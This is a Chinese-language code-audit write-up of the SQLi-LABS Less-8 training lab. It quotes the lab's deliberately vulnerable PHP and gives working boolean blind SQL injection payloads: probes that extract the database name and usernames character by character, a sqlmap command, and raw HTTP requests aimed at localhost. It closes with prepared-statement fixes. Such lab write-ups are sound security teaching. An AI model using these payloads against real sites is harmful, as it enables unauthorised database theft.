Less-8 代码审计报告:GET 布尔盲注(单引号)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-8/index.php 实际文件一致。

1. 关卡概述

2. 漏洞代码定位

文件: Less-8/index.php

// 第 18-20 行:直接取 GET 参数
if(isset($_GET['id']))
{
$id=$_GET['id'];

// 第 29 行:单引号字符串拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

// 第 33-39 行:查询成功 → 显示 "You are in..........."
if($row)
{
  echo '<font size="5" color="#FFFF00">';
  echo 'You are in...........';
  ...
}
// 第 40-50 行:查询失败 → 显示空(echo 被注释),无错误回显
else 
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';      ← 第 44 行:注释
//print_r(mysql_error());            ← 第 45 行:注释,不回显报错
//echo "You have an error in your SQL syntax";  ← 第 46 行:注释

关键漏洞点:

• 第 20 行:$id=$_GET['id']; 未过滤。
• 第 29 行:WHERE id='$id' 单引号拼接。
• 第 36 行 / 第 44 行:真假分支回显差异(显示/不显示 "You are in……….."),错误信息被注释(第 45 行 print_r 注释),这是布尔盲注的信息通道。

3. 漏洞分析

• 输入来源:$_GET['id'],未过滤。
• SQL 拼接位置:WHERE id='$id' LIMIT 0,1。
• 闭合方式:单引号 '。
• 是否回显:
  • 无数据回显:成功分支只输出固定文案;
  • 无报错回显:第 45 行 print_r(mysql_error()) 被注释。
  • 但真假响应有差异:and 1=1 显示 "You are in………..",and 1=2 不显示 → 可进行布尔盲注,通过逐字符比较提取数据。
• 防护情况:无过滤、无参数化。

4. 利用方式

步骤一:判断注入点(布尔差异)

?id=1' and 1=1-- -   → 显示 "You are in..........."(真)
?id=1' and 1=2-- -   → 不显示(假)

响应差异确认存在字符型布尔盲注。

步骤二:判断数据库名长度

?id=1' and length(database())>1-- -   → 真
?id=1' and length(database())=8-- -   → 真(security 长度为 8)

步骤三:逐字符猜解(核心 Payload)

-- 猜当前库名第 1 个字符是否为 's'
1' and substring((select database()),1,1)='s'-- -
-- 猜第 2 个字符是否为 'e'
1' and substring((select database()),2,1)='e'-- -
-- 综合:判断当前库名 = 'security'
1' and (select database())='security'-- -
-- 猜 users 表第 1 个用户名第 1 个字符
1' and substring((select username from users limit 0,1),1,1)='D'-- -

预期结果:条件为真时页面出现 "You are in………..",为假时空白。循环逐字符即可还原数据(可配合 Burp Intruder / 脚本 / sqlmap 自动化)。

步骤四:进阶

• 用 ord(substring(...)) 结合二分法减少请求次数:

  1' and ascii(substring((select database()),1,1))>100-- -   → 真/假二分
  

• 也可用 sqlmap 直接跑:

  sqlmap -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch --dbs
  

5. Yakit 重放数据包

GET /sqli-labs/Less-8/?id=1%27%20and%20substring((select%20database()),1,1)=%27s%27--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

判断逻辑:

• 返回中包含 You are in........... → 条件为真,该字符为 s;
• 返回无该文案 → 条件为假,更换字符。

布尔判定基础报文:

GET /sqli-labs/Less-8/?id=1%27%20and%201=1--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

6. 修复建议

修复一(首选):PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

• 强制整型校验:if (!ctype_digit($_GET['id'])) { die('Invalid ID'); }。
• 即使关闭报错,也要消除真假响应差异的根源 —— 参数化后布尔盲注失效。
• 关闭 display_errors、统一错误页;数据库账号最小权限。
• 升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。